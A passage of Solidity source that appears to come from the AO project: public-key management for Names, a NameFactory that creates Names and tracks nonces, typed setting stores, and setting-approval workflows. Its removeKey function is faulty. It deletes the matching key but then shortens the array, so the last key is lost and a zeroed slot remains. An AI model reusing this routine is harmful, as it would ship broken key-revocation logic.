require (_key != address(0));
PublicKey memory _publicKey = publicKeys[_id];
for (uint256 i = 0; i < _publicKey.keys.length; i++) {
if (_publicKey.keys[i] == _key) {
return true;
}
}
return false;
}
/**
* @dev Add publicKey to list for a Name
* @param _id The ID of the Name
* @param _key The publicKey to be added
*/
function addKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) {
require (!isKeyExist(_id, _key));
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.keys.push(_key);
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit AddKey(_id, _key, _nonce);
}
/**
* @dev Get default public key of a Name
* @param _id The ID of the Name
* @return the default public key
*/
function getDefaultKey(address _id) public isName(_id) view returns (address) {
require (isExist(_id));
return publicKeys[_id].defaultKey;
}
/**
* @dev Get list of publicKeys of a Name
* @param _id The ID of the Name
* @param _from The starting index
* @param _to The ending index
* @return list of publicKeys
*/
function getKeys(address _id, uint256 _from, uint256 _to) public isName(_id) view returns (address[]) {
require (isExist(_id));
require (_from >= 0 && _to >= _from);
PublicKey memory _publicKey = publicKeys[_id];
require (_publicKey.keys.length > 0);
address[] memory _keys = new address[](_to.sub(_from).add(1));
if (_to > _publicKey.keys.length.sub(1)) {
_to = _publicKey.keys.length.sub(1);
}
for (uint256 i = _from; i <= _to; i++) {
_keys[i.sub(_from)] = _publicKey.keys[i];
}
return _keys;
}
/**
* @dev Remove publicKey from the list
* @param _id The ID of the Name
* @param _key The publicKey to be removed
*/
function removeKey(address _id, address _key) public isName(_id) onlyAdvocate(_id) {
require (isExist(_id));
require (isKeyExist(_id, _key));
PublicKey storage _publicKey = publicKeys[_id];
// Can't remove default key
require (_key != _publicKey.defaultKey);
require (_publicKey.keys.length > 1);
for (uint256 i = 0; i < _publicKey.keys.length; i++) {
if (_publicKey.keys[i] == _key) {
delete _publicKey.keys[i];
_publicKey.keys.length--;
uint256 _nonce = _nameFactory.incrementNonce(_id);
break;
}
}
require (_nonce > 0);
emit RemoveKey(_id, _key, _nonce);
}
/**
* @dev Set a publicKey as the default for a Name
* @param _id The ID of the Name
* @param _defaultKey The defaultKey to be set
* @param _signatureV The V part of the signature for this update
* @param _signatureR The R part of the signature for this update
* @param _signatureS The S part of the signature for this update
*/
function setDefaultKey(address _id, address _defaultKey, uint8 _signatureV, bytes32 _signatureR, bytes32 _signatureS) public isName(_id) onlyAdvocate(_id) {
require (isExist(_id));
require (isKeyExist(_id, _defaultKey));
bytes32 _hash = keccak256(abi.encodePacked(address(this), _id, _defaultKey));
require (ecrecover(_hash, _signatureV, _signatureR, _signatureS) == msg.sender);
PublicKey storage _publicKey = publicKeys[_id];
_publicKey.defaultKey = _defaultKey;
uint256 _nonce = _nameFactory.incrementNonce(_id);
require (_nonce > 0);
emit SetDefaultKey(_id, _defaultKey, _nonce);
}
}
/**
* @title NameFactory
*
* The purpose of this contract is to allow node to create Name
*/
contract NameFactory is TheAO {
using SafeMath for uint256;
address public positionAddress;
address public nameTAOVaultAddress;
address public nameTAOLookupAddress;
address public namePublicKeyAddress;
Position internal _position;
NameTAOLookup internal _nameTAOLookup;
NameTAOPosition internal _nameTAOPosition;
NamePublicKey internal _namePublicKey;
address[] internal names;
// Mapping from eth address to Name ID
mapping (address => address) public ethAddressToNameId;
// Mapping from Name ID to its nonce
mapping (address => uint256) public nonces;
// Event to be broadcasted to public when a Name is created
event CreateName(address indexed ethAddress, address nameId, uint256 index, string name);
/**
* @dev Constructor function
*/
constructor(address _positionAddress, address _nameTAOVaultAddress) public {
positionAddress = _positionAddress;
nameTAOVaultAddress = _nameTAOVaultAddress;
_position = Position(positionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if calling address can update Name's nonce
*/
modifier canUpdateNonce {
require (msg.sender == nameTAOPositionAddress || msg.sender == namePublicKeyAddress);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the NameTAOLookup Address
* @param _nameTAOLookupAddress The address of NameTAOLookup
*/
function setNameTAOLookupAddress(address _nameTAOLookupAddress) public onlyTheAO {
require (_nameTAOLookupAddress != address(0));
nameTAOLookupAddress = _nameTAOLookupAddress;
_nameTAOLookup = NameTAOLookup(nameTAOLookupAddress);
}
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = NameTAOPosition(nameTAOPositionAddress);
}
/**
* @dev The AO set the NamePublicKey Address
* @param _namePublicKeyAddress The address of NamePublicKey
*/
function setNamePublicKeyAddress(address _namePublicKeyAddress) public onlyTheAO {
require (_namePublicKeyAddress != address(0));
namePublicKeyAddress = _namePublicKeyAddress;
_namePublicKey = NamePublicKey(namePublicKeyAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Increment the nonce of a Name
* @param _nameId The ID of the Name
* @return current nonce
*/
function incrementNonce(address _nameId) public canUpdateNonce returns (uint256) {
// Check if _nameId exist
require (nonces[_nameId] > 0);
nonces[_nameId]++;
return nonces[_nameId];
}
/**
* @dev Create a Name
* @param _name The name of the Name
* @param _datHash The datHash to this Name's profile
* @param _database The database for this Name
* @param _keyValue The key/value pair to be checked on the database
* @param _contentId The contentId related to this Name
*/
function createName(string _name, string _datHash, string _database, string _keyValue, bytes32 _contentId) public {
require (bytes(_name).length > 0);
require (!_nameTAOLookup.isExist(_name));
// Only one Name per ETH address
require (ethAddressToNameId[msg.sender] == address(0));
// The address is the Name ID (which is also a TAO ID)
address nameId = new Name(_name, msg.sender, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress);
// Increment the nonce
nonces[nameId]++;
ethAddressToNameId[msg.sender] = nameId;
// Store the name lookup information
require (_nameTAOLookup.add(_name, nameId, 'human', 1));
// Store the Advocate/Listener/Speaker information
require (_nameTAOPosition.add(nameId, nameId, nameId, nameId));
// Store the public key information
require (_namePublicKey.add(nameId, msg.sender));
names.push(nameId);
// Need to mint Position token for this Name
require (_position.mintToken(nameId));
emit CreateName(msg.sender, nameId, names.length.sub(1), _name);
}
/**
* @dev Get Name information
* @param _nameId The ID of the Name to be queried
* @return The name of the Name
* @return The originId of the Name (in this case, it's the creator node's ETH address)
* @return The datHash of the Name
* @return The database of the Name
* @return The keyValue of the Name
* @return The contentId of the Name
* @return The typeId of the Name
*/
function getName(address _nameId) public view returns (string, address, string, string, string, bytes32, uint8) {
Name _name = Name(_nameId);
return (
_name.name(),
_name.originId(),
_name.datHash(),
_name.database(),
_name.keyValue(),
_name.contentId(),
_name.typeId()
);
}
/**
* @dev Get total Names count
* @return total Names count
*/
function getTotalNamesCount() public view returns (uint256) {
return names.length;
}
/**
* @dev Get list of Name IDs
* @param _from The starting index
* @param _to The ending index
* @return list of Name IDs
*/
function getNameIds(uint256 _from, uint256 _to) public view returns (address[]) {
require (_from >= 0 && _to >= _from);
require (names.length > 0);
address[] memory _names = new address[](_to.sub(_from).add(1));
if (_to > names.length.sub(1)) {
_to = names.length.sub(1);
}
for (uint256 i = _from; i <= _to; i++) {
_names[i.sub(_from)] = names[i];
}
return _names;
}
/**
* @dev Check whether or not the signature is valid
* @param _data The signed string data
* @param _nonce The signed uint256 nonce (should be Name's current nonce + 1)
* @param _validateAddress The ETH address to be validated (optional)
* @param _name The name of the Name
* @param _signatureV The V part of the signature
* @param _signatureR The R part of the signature
* @param _signatureS The S part of the signature
* @return true if valid. false otherwise
*/
function validateNameSignature(
string _data,
uint256 _nonce,
address _validateAddress,
string _name,
uint8 _signatureV,
bytes32 _signatureR,
bytes32 _signatureS
) public view returns (bool) {
require (_nameTAOLookup.isExist(_name));
address _nameId = _nameTAOLookup.getAddressByName(_name);
address _signatureAddress = AOLibrary.getValidateSignatureAddress(address(this), _data, _nonce, _signatureV, _signatureR, _signatureS);
if (_validateAddress != address(0)) {
return (
_nonce == nonces[_nameId].add(1) &&
_signatureAddress == _validateAddress &&
_namePublicKey.isKeyExist(_nameId, _validateAddress)
);
} else {
return (
_nonce == nonces[_nameId].add(1) &&
_signatureAddress == _namePublicKey.getDefaultKey(_nameId)
);
}
}
}
/**
* @title AOStringSetting
*
* This contract stores all AO string setting variables
*/
contract AOStringSetting is TheAO {
// Mapping from settingId to it's actual string value
mapping (uint256 => string) public settingValue;
// Mapping from settingId to it's potential string value that is at pending state
mapping (uint256 => string) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The string value to be set
*/
function setPendingValue(uint256 _settingId, string _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
string memory _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOBytesSetting
*
* This contract stores all AO bytes32 setting variables
*/
contract AOBytesSetting is TheAO {
// Mapping from settingId to it's actual bytes32 value
mapping (uint256 => bytes32) public settingValue;
// Mapping from settingId to it's potential bytes32 value that is at pending state
mapping (uint256 => bytes32) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The bytes32 value to be set
*/
function setPendingValue(uint256 _settingId, bytes32 _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
bytes32 _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOAddressSetting
*
* This contract stores all AO address setting variables
*/
contract AOAddressSetting is TheAO {
// Mapping from settingId to it's actual address value
mapping (uint256 => address) public settingValue;
// Mapping from settingId to it's potential address value that is at pending state
mapping (uint256 => address) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The address value to be set
*/
function setPendingValue(uint256 _settingId, address _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
address _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOBoolSetting
*
* This contract stores all AO bool setting variables
*/
contract AOBoolSetting is TheAO {
// Mapping from settingId to it's actual bool value
mapping (uint256 => bool) public settingValue;
// Mapping from settingId to it's potential bool value that is at pending state
mapping (uint256 => bool) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The bool value to be set
*/
function setPendingValue(uint256 _settingId, bool _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
bool _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOUintSetting
*
* This contract stores all AO uint256 setting variables
*/
contract AOUintSetting is TheAO {
// Mapping from settingId to it's actual uint256 value
mapping (uint256 => uint256) public settingValue;
// Mapping from settingId to it's potential uint256 value that is at pending state
mapping (uint256 => uint256) public pendingValue;
/**
* @dev Constructor function
*/
constructor() public {}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/***** PUBLIC METHODS *****/
/**
* @dev Set pending value
* @param _settingId The ID of the setting
* @param _value The uint256 value to be set
*/
function setPendingValue(uint256 _settingId, uint256 _value) public inWhitelist {
pendingValue[_settingId] = _value;
}
/**
* @dev Move value from pending to setting
* @param _settingId The ID of the setting
*/
function movePendingToSetting(uint256 _settingId) public inWhitelist {
uint256 _tempValue = pendingValue[_settingId];
delete pendingValue[_settingId];
settingValue[_settingId] = _tempValue;
}
}
/**
* @title AOSettingAttribute
*
* This contract stores all AO setting data/state
*/
contract AOSettingAttribute is TheAO {
NameTAOPosition internal _nameTAOPosition;
struct SettingData {
uint256 settingId; // Identifier of this setting
address creatorNameId; // The nameId that created the setting
address creatorTAOId; // The taoId that created the setting
address associatedTAOId; // The taoId that the setting affects
string settingName; // The human-readable name of the setting
/**
* 1 => uint256
* 2 => bool
* 3 => address
* 4 => bytes32
* 5 => string (catch all)
*/
uint8 settingType;
bool pendingCreate; // State when associatedTAOId has not accepted setting
bool locked; // State when pending anything (cannot change if locked)
bool rejected; // State when associatedTAOId rejected this setting
string settingDataJSON; // Catch-all
}
struct SettingState {
uint256 settingId; // Identifier of this setting
bool pendingUpdate; // State when setting is in process of being updated
address updateAdvocateNameId; // The nameId of the Advocate that performed the update
/**
* A child of the associatedTAOId with the update Logos.
* This tells the setting contract that there is a proposal TAO that is a Child TAO
* of the associated TAO, which will be responsible for deciding if the update to the
* setting is accepted or rejected.
*/
address proposalTAOId;
/**
* Signature of the proposalTAOId and update value by the associatedTAOId
* Advocate's Name's address.
*/
string updateSignature;
/**
* The proposalTAOId moves here when setting value changes successfully
*/
address lastUpdateTAOId;
string settingStateJSON; // Catch-all
}
struct SettingDeprecation {
uint256 settingId; // Identifier of this setting
address creatorNameId; // The nameId that created this deprecation
address creatorTAOId; // The taoId that created this deprecation
address associatedTAOId; // The taoId that the setting affects
bool pendingDeprecated; // State when associatedTAOId has not accepted setting
bool locked; // State when pending anything (cannot change if locked)
bool rejected; // State when associatedTAOId rejected this setting
bool migrated; // State when this setting is fully migrated
// holds the pending new settingId value when a deprecation is set
uint256 pendingNewSettingId;
// holds the new settingId that has been approved by associatedTAOId
uint256 newSettingId;
// holds the pending new contract address for this setting
address pendingNewSettingContractAddress;
// holds the new contract address for this setting
address newSettingContractAddress;
}
struct AssociatedTAOSetting {
bytes32 associatedTAOSettingId; // Identifier
address associatedTAOId; // The TAO ID that the setting is associated to
uint256 settingId; // The Setting ID that is associated with the TAO ID
}
struct CreatorTAOSetting {
bytes32 creatorTAOSettingId; // Identifier
address creatorTAOId; // The TAO ID that the setting was created from
uint256 settingId; // The Setting ID created from the TAO ID
}
struct AssociatedTAOSettingDeprecation {
bytes32 associatedTAOSettingDeprecationId; // Identifier
address associatedTAOId; // The TAO ID that the setting is associated to
uint256 settingId; // The Setting ID that is associated with the TAO ID
}
struct CreatorTAOSettingDeprecation {
bytes32 creatorTAOSettingDeprecationId; // Identifier
address creatorTAOId; // The TAO ID that the setting was created from
uint256 settingId; // The Setting ID created from the TAO ID
}
// Mapping from settingId to it's data
mapping (uint256 => SettingData) internal settingDatas;
// Mapping from settingId to it's state
mapping (uint256 => SettingState) internal settingStates;
// Mapping from settingId to it's deprecation info
mapping (uint256 => SettingDeprecation) internal settingDeprecations;
// Mapping from associatedTAOSettingId to AssociatedTAOSetting
mapping (bytes32 => AssociatedTAOSetting) internal associatedTAOSettings;
// Mapping from creatorTAOSettingId to CreatorTAOSetting
mapping (bytes32 => CreatorTAOSetting) internal creatorTAOSettings;
// Mapping from associatedTAOSettingDeprecationId to AssociatedTAOSettingDeprecation
mapping (bytes32 => AssociatedTAOSettingDeprecation) internal associatedTAOSettingDeprecations;
// Mapping from creatorTAOSettingDeprecationId to CreatorTAOSettingDeprecation
mapping (bytes32 => CreatorTAOSettingDeprecation) internal creatorTAOSettingDeprecations;
/**
* @dev Constructor function
*/
constructor(address _nameTAOPositionAddress) public {
nameTAOPositionAddress = _nameTAOPositionAddress;
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev Add setting data/state
* @param _settingId The ID of the setting
* @param _creatorNameId The nameId that created the setting
* @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string
* @param _settingName The human-readable name of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
* @return The ID of the "Associated" setting
* @return The ID of the "Creator" setting
*/
function add(uint256 _settingId, address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) public inWhitelist returns (bytes32, bytes32) {
// Store setting data/state
require (_storeSettingDataState(_settingId, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData));
// Store the associatedTAOSetting info
bytes32 _associatedTAOSettingId = keccak256(abi.encodePacked(this, _associatedTAOId, _settingId));
AssociatedTAOSetting storage _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId];
_associatedTAOSetting.associatedTAOSettingId = _associatedTAOSettingId;
_associatedTAOSetting.associatedTAOId = _associatedTAOId;
_associatedTAOSetting.settingId = _settingId;
// Store the creatorTAOSetting info
bytes32 _creatorTAOSettingId = keccak256(abi.encodePacked(this, _creatorTAOId, _settingId));
CreatorTAOSetting storage _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId];
_creatorTAOSetting.creatorTAOSettingId = _creatorTAOSettingId;
_creatorTAOSetting.creatorTAOId = _creatorTAOId;
_creatorTAOSetting.settingId = _settingId;
return (_associatedTAOSettingId, _creatorTAOSettingId);
}
/**
* @dev Get Setting Data of a setting ID
* @param _settingId The ID of the setting
*/
function getSettingData(uint256 _settingId) public view returns (uint256, address, address, address, string, uint8, bool, bool, bool, string) {
SettingData memory _settingData = settingDatas[_settingId];
return (
_settingData.settingId,
_settingData.creatorNameId,
_settingData.creatorTAOId,
_settingData.associatedTAOId,
_settingData.settingName,
_settingData.settingType,
_settingData.pendingCreate,
_settingData.locked,
_settingData.rejected,
_settingData.settingDataJSON
);
}
/**
* @dev Get Associated TAO Setting info
* @param _associatedTAOSettingId The ID of the associated tao setting
*/
function getAssociatedTAOSetting(bytes32 _associatedTAOSettingId) public view returns (bytes32, address, uint256) {
AssociatedTAOSetting memory _associatedTAOSetting = associatedTAOSettings[_associatedTAOSettingId];
return (
_associatedTAOSetting.associatedTAOSettingId,
_associatedTAOSetting.associatedTAOId,
_associatedTAOSetting.settingId
);
}
/**
* @dev Get Creator TAO Setting info
* @param _creatorTAOSettingId The ID of the creator tao setting
*/
function getCreatorTAOSetting(bytes32 _creatorTAOSettingId) public view returns (bytes32, address, uint256) {
CreatorTAOSetting memory _creatorTAOSetting = creatorTAOSettings[_creatorTAOSettingId];
return (
_creatorTAOSetting.creatorTAOSettingId,
_creatorTAOSetting.creatorTAOId,
_creatorTAOSetting.settingId
);
}
/**
* @dev Advocate of Setting's _associatedTAOId approves setting creation
* @param _settingId The ID of the setting to approve
* @param _associatedTAOAdvocate The advocate of the associated TAO
* @param _approved Whether to approve or reject
* @return true on success
*/
function approveAdd(uint256 _settingId, address _associatedTAOAdvocate, bool _approved) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.pendingCreate == true &&
_settingData.locked == true &&
_settingData.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId)
);
if (_approved) {
// Unlock the setting so that advocate of creatorTAOId can finalize the creation
_settingData.locked = false;
} else {
// Reject the setting
_settingData.pendingCreate = false;
_settingData.rejected = true;
}
return true;
}
/**
* @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved
* @param _settingId The ID of the setting to be finalized
* @param _creatorTAOAdvocate The advocate of the creator TAO
* @return true on success
*/
function finalizeAdd(uint256 _settingId, address _creatorTAOAdvocate) public inWhitelist returns (bool) {
// Make sure setting exists and needs approval
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.pendingCreate == true &&
_settingData.locked == false &&
_settingData.rejected == false &&
_creatorTAOAdvocate != address(0) &&
_creatorTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.creatorTAOId)
);
// Update the setting data
_settingData.pendingCreate = false;
_settingData.locked = true;
return true;
}
/**
* @dev Store setting update data
* @param _settingId The ID of the setting to be updated
* @param _settingType The type of this setting
* @param _associatedTAOAdvocate The setting's associatedTAOId's advocate's name address
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by _associatedTAOAdvocate
* @param _extraData Catch-all string value to be stored if exist
* @return true on success
*/
function update(uint256 _settingId, uint8 _settingType, address _associatedTAOAdvocate, address _proposalTAOId, string _updateSignature, string _extraData) public inWhitelist returns (bool) {
// Make sure setting is created
SettingData memory _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.settingType == _settingType &&
_settingData.pendingCreate == false &&
_settingData.locked == true &&
_settingData.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId) &&
bytes(_updateSignature).length > 0
);
// Make sure setting is not in the middle of updating
SettingState storage _settingState = settingStates[_settingId];
require (_settingState.pendingUpdate == false);
// Make sure setting is not yet deprecated
SettingDeprecation memory _settingDeprecation = settingDeprecations[_settingId];
if (_settingDeprecation.settingId == _settingId) {
require (_settingDeprecation.migrated == false);
}
// Store the SettingState data
_settingState.pendingUpdate = true;
_settingState.updateAdvocateNameId = _associatedTAOAdvocate;
_settingState.proposalTAOId = _proposalTAOId;
_settingState.updateSignature = _updateSignature;
_settingState.settingStateJSON = _extraData;
return true;
}
/**
* @dev Get setting state
* @param _settingId The ID of the setting
*/
function getSettingState(uint256 _settingId) public view returns (uint256, bool, address, address, string, address, string) {
SettingState memory _settingState = settingStates[_settingId];
return (
_settingState.settingId,
_settingState.pendingUpdate,
_settingState.updateAdvocateNameId,
_settingState.proposalTAOId,
_settingState.updateSignature,
_settingState.lastUpdateTAOId,
_settingState.settingStateJSON
);
}
/**
* @dev Advocate of Setting's proposalTAOId approves the setting update
* @param _settingId The ID of the setting to be approved
* @param _proposalTAOAdvocate The advocate of the proposal TAO
* @param _approved Whether to approve or reject
* @return true on success
*/
function approveUpdate(uint256 _settingId, address _proposalTAOAdvocate, bool _approved) public inWhitelist returns (bool) {
// Make sure setting is created
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId && _settingData.pendingCreate == false && _settingData.locked == true && _settingData.rejected == false);
// Make sure setting update exists and needs approval
SettingState storage _settingState = settingStates[_settingId];
require (_settingState.settingId == _settingId &&
_settingState.pendingUpdate == true &&
_proposalTAOAdvocate != address(0) &&
_proposalTAOAdvocate == _nameTAOPosition.getAdvocate(_settingState.proposalTAOId)
);
if (_approved) {
// Unlock the setting so that advocate of associatedTAOId can finalize the update
_settingData.locked = false;
} else {
// Set pendingUpdate to false
_settingState.pendingUpdate = false;
_settingState.proposalTAOId = address(0);
}
return true;
}
/**
* @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved
* @param _settingId The ID of the setting to be finalized
* @param _associatedTAOAdvocate The advocate of the associated TAO
* @return true on success
*/
function finalizeUpdate(uint256 _settingId, address _associatedTAOAdvocate) public inWhitelist returns (bool) {
// Make sure setting is created
SettingData storage _settingData = settingDatas[_settingId];
require (_settingData.settingId == _settingId &&
_settingData.pendingCreate == false &&
_settingData.locked == false &&
_settingData.rejected == false &&
_associatedTAOAdvocate != address(0) &&
_associatedTAOAdvocate == _nameTAOPosition.getAdvocate(_settingData.associatedTAOId)
);
// Make sure setting update exists and needs approval
SettingState storage _settingState = settingStates[_settingId];
require (_settingState.settingId == _settingId && _settingState.pendingUpdate == true && _settingState.proposalTAOId != address(0));
// Update the setting data
_settingData.locked = true;
// Update the setting state
_settingState.pendingUpdate = false;
_settingState.updateAdvocateNameId = _associatedTAOAdvocate;
